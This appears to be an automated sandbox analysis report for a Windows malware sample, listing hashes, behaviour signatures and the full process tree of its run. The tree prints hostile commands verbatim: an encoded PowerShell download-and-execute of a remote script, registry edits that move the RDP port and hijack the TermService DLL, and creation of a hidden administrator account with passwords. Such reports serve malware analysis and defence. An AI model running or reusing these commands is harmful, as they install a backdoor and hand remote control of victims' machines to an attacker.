Resubmissions

02-09-2021 16:57

210902-vgpzjadhhn 10

02-09-2021 16:25

210902-tw1h5sage4 10

02-09-2021 11:31

210902-9dk89x9wb2 10

14-08-2021 13:56

210814-xdxpv1yk2x 10

Analysis

  • max time kernel
    1707s
  • max time network
    1710s
  • platform
    windows10_x64
  • resource
    win10-en
  • submitted
    02-09-2021 11:31

General

  • Target

    472208d7ba18d4c14b7e90b9db5d6feb.exe

  • Size

    5.9MB

  • MD5

    472208d7ba18d4c14b7e90b9db5d6feb

  • SHA1

    ff24cc43998ff99e61b1a838e1d51c4888498935

  • SHA256

    ae1c9d454905ed43654f99b1ea1e8ecc3ae08eb75c3860f46b285ce724ae5e4d

  • SHA512

    9ce72c4da799273ae13008c0033c3d0638f224042ae3bb7910ffb5f59a64babbcd8039468b0a94b8fa5f3192f543a59f493878ade5233d9958d874d59a1e1a15

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe
    "C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3664
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:300
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cxy0z5je\cxy0z5je.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3464
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESCF4C.tmp" "c:\Users\Admin\AppData\Local\Temp\cxy0z5je\CSC2711327840E84D67AC10C09FEDF1C4E4.TMP"
          4⤵
            PID:1456
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3656
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2304
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2272
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:2320
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:2180
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:3816
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1968
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:3900
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3580
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3312
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1856
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:2784
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2352
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1408
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2240
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:588
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:4092
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:4036
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user WgaUtilAcc 000000 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2860
                    • C:\Windows\system32\net.exe
                      net.exe user WgaUtilAcc 000000 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3288
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                        3⤵
                          PID:3140
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user WgaUtilAcc 7IbL5mSj /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3816
                      • C:\Windows\system32\net.exe
                        net.exe user WgaUtilAcc 7IbL5mSj /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1968
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user WgaUtilAcc 7IbL5mSj /add
                          3⤵
                            PID:2892
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1396
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3252
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                            3⤵
                              PID:1180
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" GSNTPAWQ$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2780
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" GSNTPAWQ$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3656
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GSNTPAWQ$ /ADD
                              3⤵
                                PID:2860
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2368
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1548
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                3⤵
                                  PID:3816
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user WgaUtilAcc 7IbL5mSj
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2272
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 7IbL5mSj
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2200
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc 7IbL5mSj
                                  3⤵
                                    PID:1396
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:2304
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                    PID:3748
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C wmic CPU get NAME
                                  1⤵
                                    PID:2428
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic CPU get NAME
                                      2⤵
                                        PID:3044
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                      1⤵
                                        PID:1856
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                          2⤵
                                            PID:2272
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              3⤵
                                              • Blocklisted process makes network request
                                              • Drops file in Program Files directory
                                              • Drops file in Windows directory
                                              • Modifies data under HKEY_USERS
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:4060
                                        • C:\Windows\System32\cmd.exe
                                          cmd.exe /C net user wgautilacc 111213&net user wgautilacc /active:yes
                                          1⤵
                                            PID:200
                                            • C:\Windows\system32\net.exe
                                              net user wgautilacc 111213
                                              2⤵
                                                PID:2824
                                                • C:\Windows\system32\net1.exe
                                                  C:\Windows\system32\net1 user wgautilacc 111213
                                                  3⤵
                                                    PID:208
                                                • C:\Windows\system32\net.exe
                                                  net user wgautilacc /active:yes
                                                  2⤵
                                                    PID:3288
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 user wgautilacc /active:yes
                                                      3⤵
                                                        PID:2120

                                                  Network

                                                  MITRE ATT&CK Enterprise v6

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • memory/300-132-0x00000128F0EA3000-0x00000128F0EA5000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/300-147-0x00000128F0EA8000-0x00000128F0EA9000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/300-137-0x00000128F0EA6000-0x00000128F0EA8000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/300-153-0x00000128F1970000-0x00000128F1971000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/300-131-0x00000128F0EA0000-0x00000128F0EA2000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/300-152-0x00000128F15E0000-0x00000128F15E1000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/300-129-0x00000128F10B0000-0x00000128F10B1000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/300-126-0x00000128D8D30000-0x00000128D8D31000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/300-145-0x00000128D8D70000-0x00000128D8D71000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/2272-272-0x000001BB76C43000-0x000001BB76C45000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2272-273-0x000001BB76C46000-0x000001BB76C48000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2272-280-0x000001BB76C48000-0x000001BB76C4A000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2272-271-0x000001BB76C40000-0x000001BB76C42000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2304-235-0x000001CCF17C6000-0x000001CCF17C8000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2304-212-0x000001CCF17C3000-0x000001CCF17C5000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/2304-210-0x000001CCF17C0000-0x000001CCF17C2000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3656-168-0x0000015E58D83000-0x0000015E58D85000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3656-167-0x0000015E58D80000-0x0000015E58D82000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3656-189-0x0000015E58D86000-0x0000015E58D88000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3664-117-0x0000020138A70000-0x0000020138A72000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3664-118-0x0000020138A73000-0x0000020138A75000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/3664-120-0x0000020138A76000-0x0000020138A77000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/3664-115-0x0000020138EB0000-0x00000201392D0000-memory.dmp

                                                    Filesize

                                                    4.1MB

                                                  • memory/3664-119-0x0000020138A75000-0x0000020138A76000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/4060-430-0x0000029B6F968000-0x0000029B6F969000-memory.dmp

                                                    Filesize

                                                    4KB

                                                  • memory/4060-379-0x0000029B6F966000-0x0000029B6F968000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/4060-374-0x0000029B6F963000-0x0000029B6F965000-memory.dmp

                                                    Filesize

                                                    8KB

                                                  • memory/4060-373-0x0000029B6F960000-0x0000029B6F962000-memory.dmp

                                                    Filesize

                                                    8KB